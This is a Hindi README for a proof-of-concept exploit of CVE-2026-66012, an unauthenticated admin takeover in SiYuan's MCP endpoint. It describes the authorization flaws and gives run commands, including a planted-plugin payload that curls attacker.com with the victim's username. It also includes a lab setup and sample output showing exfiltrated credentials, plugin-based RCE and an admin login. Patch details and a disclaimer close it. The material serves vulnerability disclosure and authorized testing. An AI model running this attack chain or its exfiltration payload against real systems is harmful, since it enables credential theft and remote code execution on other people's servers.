
CVE-2026-66012 के लिए बिना प्रमाणीकरण के व्यवस्थापक अधिग्रहण शोषण, जो क्रेडेंशियल्स को बाहर निकालने और रिमोट कोड निष्पादन प्राप्त करने के लिए MCP में अनुपस्थित प्राधिकरण का उपयोग करता है।
CVE-2026-66012 (CVSS 10.0 क्रिटिकल) के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो SiYuan के MCP (मॉडल कॉन्टेक्स्ट प्रोटोकॉल) एंडपॉइंट में एक अनुपलब्ध-प्राधिकरण भेद्यता है। यह एक बिना प्रमाणीकरण वाले हमलावर को व्यवस्थापक अधिग्रहण और रिमोट कोड निष्पादन की अनुमति देता है जब Publish सर्वर अनाम मोड में सक्षम होता है।
| फ़ील्ड | मान |
|---|---|
| CVE | CVE-2026-66012 |
| CVSS 3.1 | 10.0 क्रिटिकल |
| CWE | CWE-862 — अनुपलब्ध प्राधिकरण |
| प्रभावित | SiYuan < v3.7.2 |
| समाधान | v3.7.2 (commit df51c2bda696) |
| रिपोर्टकर्ता | Nguyen Van Hiep (@hypnguyen1209), MBBank |
तीन दोष मिलकर हमले की श्रृंखला बनाते हैं:
POST /mcp केवल model.CheckAuth के साथ पंजीकृत है — कोई CheckAdminRole या CheckReadonly नहीं। कोई भी मान्य JWT (Reader-स्कोप सहित) सभी 31 MCP टूल्स को आमंत्रित कर सकता है।handler.go) कॉलर की भूमिका की जाँच किए बिना टूल्स को कॉल करता है।RoleReader JWT इंजेक्ट करता है जब Publish.Auth.Enable=false, जिससे अनुपलब्ध-प्राधिकरण बग बिना प्रमाणीकरण वाले बग में बदल जाता है।POST /mcp के माध्यम से (कोई क्रेडेंशियल नहीं)conf/conf.json पढ़ना → accessAuthCode, api.token, cookieKey निकालनाdata/plugins/pwn/ पर प्लगइन स्थापित करना → अगले डेस्कटॉप लॉन्च पर nodeIntegration:true के माध्यम से RCEaccessAuthCode का उपयोग करके पोर्ट 6806 पर व्यवस्थापक लॉगिनrequests लाइब्रेरी (pip install requests)# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808
# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"
# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin
केवल अधिकृत परीक्षण के लिए। स्थानीय रूप से एक भेद्य इंस्टेंस सेट करें:
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"
# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
-p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
-v "$LAB_ROOT/workspace":/siyuan/workspace \
-e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
-e "PUID=1000" -e "PGID=1000" \
b3log/siyuan:v3.7.1 \
serve --accessAuthCode=labpass-9f4c1a --lang=en_US
sleep 6
# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')
curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Authorization: Token $API_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================
[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n
[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
accessAuthCode: labpass-9f4c1a
cookieKey: zhia862a5vfvraau
api_token: nsnt2m0n4lwv2a43
[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
Payload executes on next desktop launch
[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
Token: lqfhx...
=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================
SiYuan v3.7.2 या बाद के संस्करण में अपग्रेड करें। फिक्स (commit df51c2bda696) निम्नलिखित लागू करता है:
/mcp रूट पर CheckAdminRole + CheckReadonly मिडलवेयरconf/conf.json एक्सेस पर स्पष्ट अवरोधयह PoC केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। उन प्रणालियों के विरुद्ध अनधिकृत उपयोग जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है, अवैध है। लेखक इस कोड के किसी भी दुरुपयोग के लिए ज़िम्मेदार नहीं हैं।